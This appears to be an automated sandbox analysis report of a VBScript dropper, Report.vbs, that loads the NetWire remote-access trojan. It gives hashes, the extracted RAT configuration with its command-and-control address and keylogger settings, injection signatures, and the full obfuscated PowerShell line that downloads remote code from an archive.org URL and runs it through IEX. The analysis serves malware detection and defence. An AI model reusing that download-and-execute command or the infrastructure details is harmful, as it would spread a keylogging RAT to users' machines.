Analysis
-
max time kernel
109s -
max time network
134s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
25-06-2021 13:04
Static task
static1
Behavioral task
behavioral1
Sample
Report.vbs
Resource
win7v20210408
General
-
Target
Report.vbs
-
Size
1KB
-
MD5
22f664c3e1c19b865c64920ed8c9ff46
-
SHA1
187a8eab92dad78c194303b2039feefc58c625d0
-
SHA256
3f2520949a57c9b6342f6e6a3f13f56c124bddcd576d3a652aa237b6913e3b4f
-
SHA512
ece857fcc1e1d487554451843761cdb65d11c6d8a5e26e53835a2abc0525082342eb9bcc1c3a1efc789258b88931c0d2d8e45ae5a29d33202fe7c21723a1136d
Malware Config
Extracted
https://ia601406.us.archive.org/20/items/all-jjnb/ALL_jjnb.txt
Extracted
netwire
185.19.85.172:1723
-
activex_autorun
false
- activex_key
-
copy_executable
false
-
delete_original
false
-
host_id
HostId-%Rand%
- install_path
-
keylogger_dir
%AppData%\Logs\
-
lock_executable
false
- mutex
-
offline_keylogger
true
-
password
Password
-
registry_autorun
false
- startup_name
-
use_mutex
false
Signatures
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NetWire RAT payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1636-72-0x0000000000400000-0x0000000000433000-memory.dmp netwire behavioral1/memory/1636-73-0x000000000040242D-mapping.dmp netwire behavioral1/memory/1636-75-0x0000000000400000-0x0000000000433000-memory.dmp netwire -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 6 1328 powershell.exe 8 1328 powershell.exe 10 1328 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1328 set thread context of 1636 1328 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1328 powershell.exe 1328 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1328 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 1924 wrote to memory of 1328 1924 WScript.exe powershell.exe PID 1924 wrote to memory of 1328 1924 WScript.exe powershell.exe PID 1924 wrote to memory of 1328 1924 WScript.exe powershell.exe PID 1328 wrote to memory of 1636 1328 powershell.exe aspnet_compiler.exe PID 1328 wrote to memory of 1636 1328 powershell.exe aspnet_compiler.exe PID 1328 wrote to memory of 1636 1328 powershell.exe aspnet_compiler.exe PID 1328 wrote to memory of 1636 1328 powershell.exe aspnet_compiler.exe PID 1328 wrote to memory of 1636 1328 powershell.exe aspnet_compiler.exe PID 1328 wrote to memory of 1636 1328 powershell.exe aspnet_compiler.exe PID 1328 wrote to memory of 1636 1328 powershell.exe aspnet_compiler.exe PID 1328 wrote to memory of 1636 1328 powershell.exe aspnet_compiler.exe PID 1328 wrote to memory of 1636 1328 powershell.exe aspnet_compiler.exe PID 1328 wrote to memory of 1636 1328 powershell.exe aspnet_compiler.exe PID 1328 wrote to memory of 1636 1328 powershell.exe aspnet_compiler.exe PID 1328 wrote to memory of 1636 1328 powershell.exe aspnet_compiler.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Report.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601406.us.archive.org/20/items/all-jjnb/ALL_jjnb.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/1328-67-0x000000001AD24000-0x000000001AD26000-memory.dmpFilesize
8KB
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memory/1328-69-0x000000001B950000-0x000000001B951000-memory.dmpFilesize
4KB
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memory/1328-63-0x0000000002480000-0x0000000002481000-memory.dmpFilesize
4KB
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memory/1328-64-0x000000001ADA0000-0x000000001ADA1000-memory.dmpFilesize
4KB
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memory/1328-65-0x000000001AD20000-0x000000001AD22000-memory.dmpFilesize
8KB
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memory/1328-66-0x0000000002640000-0x0000000002641000-memory.dmpFilesize
4KB
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memory/1328-61-0x0000000000000000-mapping.dmp
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memory/1328-68-0x0000000002360000-0x0000000002361000-memory.dmpFilesize
4KB
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memory/1328-71-0x0000000002880000-0x000000000288E000-memory.dmpFilesize
56KB
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memory/1328-70-0x000000001C4D0000-0x000000001C4D1000-memory.dmpFilesize
4KB
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memory/1636-72-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
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memory/1636-73-0x000000000040242D-mapping.dmp
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memory/1636-74-0x00000000760B1000-0x00000000760B3000-memory.dmpFilesize
8KB
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memory/1636-75-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
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memory/1924-60-0x000007FEFB891000-0x000007FEFB893000-memory.dmpFilesize
8KB